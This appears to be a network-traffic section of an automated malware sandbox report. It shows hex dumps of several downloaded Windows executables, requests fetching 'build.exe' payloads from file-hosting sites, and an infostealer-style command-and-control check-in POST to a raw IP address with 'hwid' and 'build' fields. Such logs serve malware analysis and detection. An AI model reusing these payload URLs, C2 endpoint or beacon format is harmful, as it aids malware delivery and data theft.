00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 73 00 00 10 00 00 00 44 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 73 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 73 00 00 02 00 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 90 73 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 6a 7a 75 66 6c 6a 00 20 1b 00 00 50 ab 00 00 16 1b 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6e 6c 7a 6f 68 6f 74 00 10 00 00 00 70 c6 00 00 04 00 00 00 70 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c6 00 00 22 00 00 00 74 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:54:50 GMTContent-Type: application/octet-streamContent-Length: 1890816Last-Modified: Sat, 30 Nov 2024 21:41:46 GMTConnection: keep-aliveETag: "674b869a-1cda00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 07 58 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e4 03 00 00 bc 00 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 16 ef 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 50 05 00 70 00 00 00 00 40 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 05 00 00 10 00 00 00 46 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 60 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 72 7a 6d 6f 66 69 79 00 60 1a 00 00 b0 30 00 00 58 1a 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 71 71 6a 61 63 6b 76 00 10 00 00 00 10 4b 00 00 04 00 00 00 b4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:55:00 GMTContent-Type: application/octet-streamContent-Length: 1803264Last-Modified: Sat, 30 Nov 2024 21:41:53 GMTConnection: keep-aliveETag: "674b86a1-1b8400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 80 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 69 00 00 04 00 00 88 f8 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 68 66 6f 65 64 75 65 00 f0 19 00 00 80 4f 00 00 e6 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 79 71 79 6a 61 67 68 00 10 00 00 00 70 69 00 00 04 00 00 00 5e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 69 00 00 22 00 00 00 62 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:55:08 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Sat, 30 Nov 2024 21:40:00 GMTConnection: keep-aliveETag: "674b8630-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 28 86 4b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 cb e1 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 5c a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 5c a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:55:15 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Sat, 30 Nov 2024 21:40:26 GMTConnection: keep-aliveETag: "674b864a-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 72 64 78 7a 69 78 74 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 66 62 61 73 78 67 65 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:55:20 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Sat, 30 Nov 2024 21:40:28 GMTConnection: keep-aliveETag: "674b864c-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 72 64 78 7a 69 78 74 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 66 62 61 73 78 67 65 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:55:36 GMTContent-Type: application/octet-streamContent-Length: 2797568Last-Modified: Sat, 30 Nov 2024 21:40:28 GMTConnection: keep-aliveETag: "674b864c-2ab000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 72 64 78 7a 69 78 74 00 60 2a 00 00 a0 00 00 00 50 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 66 62 61 73 78 67 65 00 20 00 00 00 00 2b 00 00 04 00 00 00 8a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /dl/16763651/build.exe HTTP/1.1Host: tmpfiles.org
Source: global traffic	HTTP traffic detected: GET /ajosckQ4MSrmZ5a2/build.exe_Melted.exe HTTP/1.1Host: filelu.com
Source: global traffic	HTTP traffic detected: GET /d/rf3hrm2kjs6ftjtau2mnyyh3r772lwp5nosn7kyoj5fx4b3u3jptgvc2i7rgdk7bvlktmqfe/build.exe_Melted.exe HTTP/1.1Host: 3333.filelu.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 2d 2d 0d 0a Data Ascii: ------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="build"drum------IDAKJKEHDBGHIDHIEHDB--
